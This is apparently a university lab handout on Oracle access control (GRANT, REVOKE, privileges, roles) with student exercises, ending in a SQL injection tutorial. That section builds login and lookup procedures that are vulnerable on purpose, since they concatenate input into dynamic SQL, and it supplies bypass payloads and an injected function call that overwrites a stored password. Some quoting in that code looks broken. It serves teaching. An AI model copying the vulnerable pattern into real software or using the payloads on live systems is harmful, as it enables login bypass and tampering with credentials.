Lab 13

Objectives:
At the end of this lab, you should be able to

- Apply Grant in Oracle.
- Apply Revoke in Oracle.
- Apply Privileges and Roles in Oracle.
- Apply SQL Injection

Data Control Language (DCL) Commands:

Data Control Language (DCL) is used to control privileges in Database. To perform any operation in the database, such as for creating tables and views - a user needs privileges.

Privileges are of two types

- **System:** This includes permissions for creating session, tables, etc and all types of other system privileges.
- **Object:** This includes permissions for any command or query to perform any operation on the database tables.

DCL have two commands,

- **GRANT**: Used to provide any user access privileges or other privileges for the database.
- **REVOKE**: Used to take back permissions from any user.

The Syntax for the GRANT command is:

```
GRANT privilege_name
ON object_name
TO {user_name |PUBLIC |role_name}
[WITH GRANT OPTION];
```

- ***privilege_name*** is the access right or privilege granted to the user. Some of the access rights are ALL, EXECUTE, and SELECT.
- ***object_name*** is the name of an database object like TABLE, VIEW, STORED PROC and ***SEQUENCE***.
- ***user_name*** is the name of the user to whom an access right is being granted.
- ***PUBLIC*** is used to grant access rights to all users.
- ***ROLES*** are a set of privileges grouped together.
- ***WITH GRANT OPTION*** - allows a user to grant access rights to other users.

For Example: GRANT SELECT ON employee TO user1; This command grants a SELECT permission on employee table to user1.You should use the WITH GRANT option carefully because for example if you GRANT SELECT privilege on employee table to user1 using the WITH GRANT option, then user1 can GRANT SELECT privilege on employee table to another user, such as user2 etc.

Prepared by: Fatima Hamza

For user1 to query the employee's table, user1 will have to place the schema name before the object name as show below:
SELECT * from SCHEMA_NAME.employee;

SQL REVOKE Command:

- The REVOKE command removes user access rights or privileges to the database objects.
- The Syntax for the REVOKE command is:

```
REVOKE privilege_name
ON object_name
FROM {user_name |PUBLIC |role_name}
```

For Example: REVOKE SELECT ON employee FROM user1;

This command will REVOKE a SELECT privilege on employee table from user1.When you REVOKE SELECT privilege on a table from a user, the user will not be able to SELECT data from that table anymore. However, if the user has received SELECT privileges on that table from more than one users, he/she can SELECT from that table until everyone who granted the permission revokes it. You cannot REVOKE privileges if they were not initially granted by you.

Allow a User to create session : When we create a user in SQL, it is not even allowed to login and create a session until and unless proper privileges are granted to the user. Following command can be used to grant the session creating privileges.

GRANT CREATE SESSION TO username;

Allow a User to create table : To allow a user to create tables in the database, we can use the below command,

GRANT CREATE TABLE TO username;

Grant permission to drop any table : If you want to allow user to drop any table from the database, then grant this privilege to the user,

GRANT DROP ANY TABLE TO username

To take back Permissions : If you want to take back the privileges from any user, use the REVOKE command.

REVOKE CREATE TABLE FROM username

Prepared by: Fatima Hamza

Privileges and Roles:

Privileges: Privileges defines the access rights provided to a user on a database object. There are two types of privileges.
1) System privileges - This allows the user to CREATE, ALTER, or DROP database objects.
2) Object privileges - This allows the user to SELECT, INSERT, UPDATE, or DELETE data from database objects to which the privileges apply.

Few CREATE system privileges are listed below:

System Privileges	Description
CREATE object	allows users to create the specified object in their own schema.
CREATE ANY object	allows users to create the specified object in any schema.

The above rules also apply for ALTER and DROP system privileges.

Few of the object privileges are listed below:

Object Privileges	Description
INSERT	allows users to insert rows into a table.
SELECT	allows users to select data from a database object.
UPDATE	allows user to update data in a table.
EXECUTE	allows user to execute a stored procedure or a function.

Examples of Grant and Revoke

GRANT SELECT,DELETE,INSERT,UPDATE ON DEPT TO TEST;

REVOKE SELECT,DELETE,INSERT,UPDATE ON DEPT FROM TEST;

Roles: Roles are a collection of privileges or access rights. When there are many users in a database it becomes difficult to grant or revoke privileges to users. Therefore, if you define roles, you can grant or revoke privileges to users, thereby automatically granting or revoking privileges. You can either create Roles or use the system roles pre-defined by oracle.

Some of the privileges granted to the system roles are as given below:

System Role	Privileges Granted to the Role
CONNECT	CREATE TABLE, CREATE VIEW, CREATE SYNONYM, CREATE SEQUENCE, CREATE SESSION etc.
RESOURCE	CREATE PROCEDURE, CREATE SEQUENCE, CREATE TABLE, CREATE TRIGGER etc. The primary usage of the RESOURCE role is to restrict access to database objects.
DBA	ALL SYSTEM PRIVILEGES

Prepared by: Fatima Hamza

Examples:

GRANT DBA TO user1;

GRANT RESOURCE TO TEST;

REVOKE RESOURCE FROM TEST;

GRANT CONNECT TO TEST;

REVOKE CONNECT TO TEST;

Creating Roles:

The Syntax to create a role is:

```
CREATE ROLE role_name;
```

It's easier to GRANT or REVOKE privileges to the users through a role rather than assigning a privilege directly to every user. We can GRANT or REVOKE privilege to a role as below.

For example: To grant CREATE TABLE privilege to a user by creating a testing role:

1. **First, create a testing Role**

```
CREATE ROLE testing_role;
```

2. **Second, grant a CREATE TABLE privilege to the ROLE testing. You can add more privileges to the ROLE.**

```
GRANT CONNECT,CREATE TABLE, CREATE VIEW TO TEST_ROLE1;
```

```
GRANT UNLIMITED TABLESPACE TO USER1B02;
```

3. **Third, grant the role to a user.**

```
GRANT TEST_ROLE1 TO USER1B02;
```

4. **To revoke a CREATE TABLE privilege from testing ROLE, you can write:**

```
REVOKE CREATE TABLE FROM testing_role;
```

The Syntax to drop a role from the database is as below:

```
DROP ROLE role_name;
```

```
DROP ROLE TEST_ROLE1;
```

EXERCISE:

1. Using your account, try to create a new user with a password.
2. Using your account, try to revoke your classmate from accessing his account.
3. Grant your classmate access to query one of your table.
4. Give all the privileges you have on a database object to your classmate.
5. Which system tables contain information on privileges granted?
6. Take all the privileges that you gave.
7. Create a Role, give the role Select privilege on a view that shows the Employee Name and Department Name. Finally, Grant the Role to your classmate.
   Are you able to create the above Role?, if not, your lab instructor will show you how to create the Role and assigning Privileges using his DBA account.
8. Drop the above role.
9. Retrieve information about user privileges related to the system, tables, and roles (SPECIFIC USER).
10. Determine which users have *direct* grant access to a table. Can you access the information?

SQL Injection Tutorials

SQL injection generally happens when you ask a user for input, like their username and password, instead of that, the user gives an SQL statement that you will run on your database.

Example 1

```
CREATE TABLE LoginCredential
(
        username VARCHAR2(25) NOT NULL,
        password VARCHAR2(25) NOT NULL
);

CREATE OR REPLACE PROCEDURE validate_password (p_username IN VARCHAR2, p_password
IN VARCHAR2)
 AS
  c1     SYS_REFCURSOR;
  l_ok   NUMBER;
 BEGIN
  OPEN c1 FOR 'SELECT 1 FROM LoginCredential WHERE username = ''' || p_username || ''' ||
                        ' AND password = ''' || p_password || '''';
  FETCH c1 INTO l_ok;
  IF c1%NOTFOUND
  THEN
    RAISE_APPLICATION_ERROR(-20001, 'Invalid Password');
  END IF;
  CLOSE c1;
 END;

INSERT INTO LoginCredential VALUES ( 'chadders', 'chadders' );
SET SERVEROUTPUT ON;
```

Query Modification - Handling quotes:

Run the procedure against the following parameters:

```
EXEC validate_password('chadders', 'chadders2');
EXEC validate_password('chadders', 'x" OR "1"="1');
EXEC validate_password('chadders"--', '');
```

Exercise: Show the above in a SQL Statement (Query):

Injecting a function call:

```
CREATE OR REPLACE FUNCTION change_password(p_username IN VARCHAR2,
                                           p_new_password IN VARCHAR2)
  RETURN VARCHAR2
as
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  UPDATE LoginCredential
    SET password = p_new_password
   WHERE username = p_username;
  COMMIT;
  RETURN 'Y';
END;
```

```
EXEC validate_password('chadders', 'x" AND "x"=change_password("chadders", "x") AND "x"="x');
```

Run the procedure and check the LoginCredential table. Is the password changed?

Example 2

```
CREATE OR REPLACE PROCEDURE PRC_GET_EMP_SAL (p_empno VARCHAR2)
IS
  TYPE C IS REF CURSOR;
  CUR_EMP   C;
  L_ENAME   VARCHAR2 (100);
  L_SAL     NUMBER;
  L_STMT    VARCHAR2 (4000);
BEGIN
  L_STMT := 'SELECT ename, sal FROM emp WHERE empno = '' || p_empno || '';

  OPEN CUR_EMP FOR L_STMT;

  LOOP
    FETCH CUR_EMP
    INTO L_ENAME, L_SAL;
    EXIT WHEN CUR_EMP%NOTFOUND;
    DBMS_OUTPUT.PUT_LINE (L_ENAME || ' -- ' || L_SAL);
  END LOOP;

  CLOSE CUR_EMP;
END;
```

```
SET SERVEROUTPUT ON;
```

Run the procedure against the following parameters:

```
EXEC prc_get_emp_sal ('7566');
EXEC prc_get_emp_sal ('X" OR "1"= "1');
```

Exercise: Show the above in a SQL Statement (Query):